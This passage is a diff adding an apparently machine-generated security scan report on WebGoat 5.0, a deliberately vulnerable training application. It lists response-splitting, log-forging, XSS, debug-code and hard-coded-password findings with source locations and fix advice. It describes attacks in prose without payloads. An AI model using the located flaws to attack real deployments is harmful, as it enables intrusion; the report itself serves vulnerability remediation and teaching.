+        of any intermediary proxies between the clients and the application server.
+        The first argument to sendRedirect() contains tainted data from the variable
+        request.getParameter(). The tainted data originated from an earlier call to
+        javax.servlet.ServletRequest.getParameter.\r\n\r\nEscape, encode, or remove
+        carriage return and line feed characters from user-supplied data before inclusion
+        in HTTP response headers. Whenever possible, use a security library such as
+        ESAPI that provides safe versions of addHeader(), etc. that will automatically
+        remove unexpected carriage returns and line feeds and can be configured to
+        use HTML entity encoding for non-alphanumeric data. Only write custom blacklisting
+        code when absolutely necessary. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/113.html)
+        \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting) \r\nWASC
+        (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\" note=\"\"
+        cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"config_jsp.java\"
+        line=\"43\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/ConfManagement/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.ConfManagement.config_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"78\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.setHeader\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.setHeader() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        second argument to setHeader() contains tainted data from the variable cookie.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpOnly.java\"
+        line=\"198\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpOnly\"
+        functionprototype=\"void setHttpOnly(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"204\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.setHeader\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.setHeader() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        second argument to setHeader() contains tainted data from the variable cookie.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpOnly.java\"
+        line=\"212\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpOnly\"
+        functionprototype=\"void removeHttpOnly(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"92\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.sendRedirect\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.sendRedirect() contains an
+        HTTP response splitting flaw. Writing unsanitized user-supplied input into
+        an HTTP header allows an attacker to manipulate the HTTP response rendered
+        by the browser, to inject additional headers or an entire response body into
+        the response stream. Injecting headers can be used to trick various security
+        mechanisms in browsers into allowing XSS style attacks. Injecting entire response
+        bodies can not only cause XSS attacks to succeed but may even poison the cache
+        of any intermediary proxies between the clients and the application server.
+        The first argument to sendRedirect() contains tainted data from the variable
+        request.getParameter(). The tainted data originated from an earlier call to
+        javax.servlet.ServletRequest.getParameter.\r\n\r\nEscape, encode, or remove
+        carriage return and line feed characters from user-supplied data before inclusion
+        in HTTP response headers. Whenever possible, use a security library such as
+        ESAPI that provides safe versions of addHeader(), etc. that will automatically
+        remove unexpected carriage returns and line feeds and can be configured to
+        use HTML entity encoding for non-alphanumeric data. Only write custom blacklisting
+        code when absolutely necessary. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/113.html)
+        \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting) \r\nWASC
+        (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\" note=\"\"
+        cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"redirect_jsp.java\"
+        line=\"43\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/General/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.General.redirect_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"62\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"170\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        first argument to addCookie() contains tainted data from the variable cookies.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebSession.java\"
+        line=\"335\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebSession\"
+        functionprototype=\"void eatCookies()\" functionrelativelocation=\"79\"/>\n</staticflaws>\n</cwe>\n<cwe
+        cweid=\"117\" cwename=\"Improper Output Neutralization for Logs\" pcirelated=\"false\"
+        owasp=\"929\">\n<description>\n<text text=\"A function call could result in
+        a log forging attack.  Writing unsanitized user-supplied data into a log file
+        allows an attacker to forge log entries or inject malicious content into log
+        files.  Corrupted log files can be used to cover an attacker's tracks or as
+        a delivery mechanism for an attack on a log viewing or processing utility.
+        \ For example, if a web administrator uses a browser-based utility to review
+        logs, a cross-site scripting attack might be possible.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Output Neutralization for Logs\" count=\"1\"
+        issueid=\"214\" module=\"WebGoat-5.0-with-jsp.war\" type=\"javax.servlet.GenericServlet.log\"
+        description=\"This call to javax.servlet.GenericServlet.log() could result
+        in a log forging attack. Writing unsanitized user-supplied data into a log
+        file allows an attacker to forge log entries or inject malicious content into
+        log files. Corrupted log files can be used to cover an attacker's tracks or
+        as a delivery mechanism for an attack on a log viewing or processing utility.
+        For example, if a web administrator uses a browser-based utility to review
+        logs, a cross-site scripting attack might be possible. The first argument
+        to log() contains tainted data from the variable output. The tainted data
+        originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        directly embedding user input in log files when possible. Sanitize user-supplied
+        data used to construct log entries by using a safe logging mechanism such
+        as the OWASP ESAPI Logger, which will automatically remove unexpected carriage
+        returns and line feeds and can be configured to use HTML entity encoding for
+        non-alphanumeric data. Only write custom blacklisting code when absolutely
+        necessary. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/117.html) \r\nOWASP (http://www.owasp.org/index.php/Log_injection)
+        \r\nWASC (http://webappsec.pbworks.com/Improper-Output-Handling)\r\n\r\n\"
+        note=\"\" cweid=\"117\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"npp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HammerHead.java\"
+        line=\"306\" sourcefilepath=\"org/owasp/webgoat/\" scope=\"org.owasp.webgoat.HammerHead\"
+        functionprototype=\"void log(javax.servlet.http.HttpServletRequest, java.lang.String)\"
+        functionrelativelocation=\"84\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"17\" categoryname=\"Code Quality\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Code quality issues stem from failure to follow good coding practices
+        and can lead to unpredictable behavior. These may include but are not limited
+        to:\">\n<bulletitem text=\"Neglecting to remove debug code or dead code\"/>\n<bulletitem
+        text=\"Improper resource management, such as using a pointer after it has
+        been freed\"/>\n<bulletitem text=\"Using the incorrect operator to compare
+        objects\"/>\n<bulletitem text=\"Failing to follow an API or framework specification\"/>\n<bulletitem
+        text=\"Using a language feature or API in an unintended manner\"/>\n</para>\n<para
+        text=\"While code quality flaws are generally less severe than other categories
+        and usually are not directly exploitable, they may serve as indicators that
+        developers are not following practices that increase the reliability and security
+        of an application.  For an attacker, code quality issues may provide an opportunity
+        to stress the application in unexpected ways.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"The wide variance of code quality issues makes it impractical to generalize
+        how these issues should be addressed.  Refer to individual categories for
+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"489\" cwename=\"Leftover
+        Debug Code\" pcirelated=\"false\">\n<description>\n<text text=\"A method may
+        be leftover debug code that creates an unintended entry point in a web application.
+        \ Although this is an acceptable practice during product development, classes
+        that are part of a production J2EE application should not define a main()
+        method.  Whether this method can be remotely invoked depends on the configuration
+        of the J2EE container and the application itself.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"70\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"53\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"42\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Encoding.java\"
+        line=\"744\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Encoding\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"243\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"505\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"133\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebgoatProperties.java\"
+        line=\"114\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebgoatProperties\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"10\" categoryname=\"Credentials Management\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Improper management of credentials, such as usernames and passwords,
+        may compromise system security.  In particular, storing passwords in plaintext
+        or hard-coding passwords directly into application code are design issues
+        that cannot be easily remedied.  Not only does embedding a password allow
+        all of the project's developers to view the password, it also makes fixing
+        the problem extremely difficult.  Once the code is in production, the password
+        cannot be changed without patching the software.  If a hard-coded password
+        is compromised in a commercial product, all deployed instances may be vulnerable
+        to attack, putting customers at risk.\"/>\n<para text=\"One variation on hard-coding
+        plaintext passwords is to hard-code a constant string which is the result
+        of a cryptographic one-way hash.  For example, instead of storing the word
+        &quot;secret,&quot; the application stores an MD5 hash of the word.  This
+        is a common mechanism for obscuring hard-coded passwords from casual viewing
+        but does not significantly reduce risk.  However, using cryptographic hashes
+        for data stored outside the application code can be an effective practice.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Avoid storing passwords in easily accessible locations, and never store
+        any type of sensitive data in plaintext.  Avoid using hard-coded usernames,
+        passwords, or hash constants whenever possible, particularly in relation to
+        security-critical components.   Store passwords out-of-band from the application
+        code.  Follow best practices for protecting credentials stored in alternate
+        locations such as configuration or properties files.\"/>\n</recommendations>\n<cwe
+        cweid=\"256\" cwename=\"Plaintext Storage of a Password\" pcirelated=\"false\"
+        owasp=\"930\">\n<description>\n<text text=\"A method reads and/or stores sensitive
+        information in plaintext, making the data more susceptible to compromise.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Plaintext Storage of a Password\" count=\"1\"
+        issueid=\"223\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"The java.sql.DriverManager.getConnection() method reads and/or
+        stores sensitive information in plaintext, making the data more susceptible
+        to compromise.\r\n\r\nNever store sensitive data in plaintext. Consider using
+        cryptographic hashes as an alternative to plaintext.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/256.html)\r\n\r\n\" note=\"\" cweid=\"256\"
+        remediationeffort=\"4\" exploitLevel=\"0\" categoryid=\"10\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"97\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"72\"/>\n</staticflaws>\n</cwe>\n<cwe
+        cweid=\"259\" cwename=\"Use of Hard-coded Password\" pcirelated=\"false\"
+        owasp=\"930\" sans=\"798\" certjava=\"861\">\n<description>\n<text text=\"A
+        method uses a hard-coded password that may compromise system security in a
+        way that cannot be easily remedied.  The use of a hard-coded password significantly
+        increases the possibility that the account being protected will be compromised.
+        \ Moreover, the password cannot be changed without patching the software.
+        \ If a hard-coded password is compromised in a commercial product, all deployed
+        instances may be vulnerable to attack.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Use of Hard-coded Password\" count=\"1\" issueid=\"28\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"The java.sql.DriverManager.getConnection() method uses a hard-coded
+        password that may compromise system security in a way that cannot be easily
+        remedied. The use of a hard-coded password significantly increases the possibility
+        that the account being protected will be compromised. Moreover, the password
+        cannot be changed without patching the software. If a hard-coded password
+        is compromised in a commercial product, all deployed instances may be vulnerable
+        to attack.\r\n\r\nStore passwords out-of-band from the application code. Follow
+        best practices for protecting credentials stored in locations such as configuration
+        or properties files.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/259.html)\r\n\r\n\"
+        note=\"\" cweid=\"259\" remediationeffort=\"4\" exploitLevel=\"1\" categoryid=\"10\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"69\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"16\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"20\" categoryname=\"Cross-Site Scripting\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Cross-site scripting (XSS) attacks occur when an attacker uses a web
+        application to send malicious code, generally in the form of a browser side
+        script, to a different end user. Flaws that allow these attacks to succeed
+        occur whenever a web application uses untrusted data in the output it generates
+        without validating or encoding it.  XSS vulnerabilities are commonly exploited
+        to steal or manipulate cookies, modify presentation of content, and compromise
+        sensitive information, with new attack vectors being discovered on a regular
+        basis.  XSS is also commonly referred to as HTML injection.\"/>\n<para text=\"XSS
+        vulnerabilities can be either persistent or transient (often referred to as
+        stored and reflected, respectively).  In a persistent XSS vulnerability, the
+        injected code is stored by the application, for example within a blog comment
+        or message board.  The attack occurs whenever a victim views the page containing
+        the malicious script.  In a transient XSS vulnerability, the injected code
+        is included directly in the HTTP request.  These attacks are often carried
+        out via malicious URLs sent via email or another website and requires the
+        victim to browse to that link.  The consequence of an XSS attack to a victim
+        is the same regardless of whether it is persistent or transient; however,
+        persistent XSS vulnerabilities are likely to affect a greater number of victims
+        due to its delivery mechanism.\"/>\n</desc>\n<recommendations>\n<para text=\"Several
+        techniques can be used to prevent XSS attacks. These techniques complement
+        each other and address security at different points in the application. Using
+        multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a XSS vulnerability.\">\n<bulletitem text=\"Use output filtering to sanitize
+        all output generated from user-supplied input, selecting the appropriate method
+        of encoding based on the use case of the untrusted data.  For example, if
+        the data is being written to the body of an HTML page, use HTML entity encoding.
+        \ However, if the data is being used to construct generated Javascript or
+        if it is consumed by client-side methods that may interpret it as code (a
+        common technique in Web 2.0 applications), additional restrictions may be
+        necessary beyond simple HTML encoding.\"/>\n<bulletitem text=\"Validate user-supplied
+        input using positive filters (white lists) to ensure that it conforms to the
+        expected format, using centralized data validation routines when possible.
+        \"/>\n<bulletitem text=\"Do not permit users to include HTML content in posts,
+        notes, or other data that will be displayed by the application.  If users
+        are permitted to include HTML tags, then carefully limit access to specific
+        elements or attributes, and use strict validation filters to prevent abuse.\"/>\n</para>\n</recommendations>\n<cwe
+        cweid=\"83\" cwename=\"Improper Neutralization of Script in Attributes in
+        a Web Page\" pcirelated=\"false\" owasp=\"931\">\n<description>\n<text text=\"The
+        application does not filter text or other data for potentially malicious HTML
+        content. This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\"/>\n</description>\n<dynamicflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"277\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"278\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/css/menu.css\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
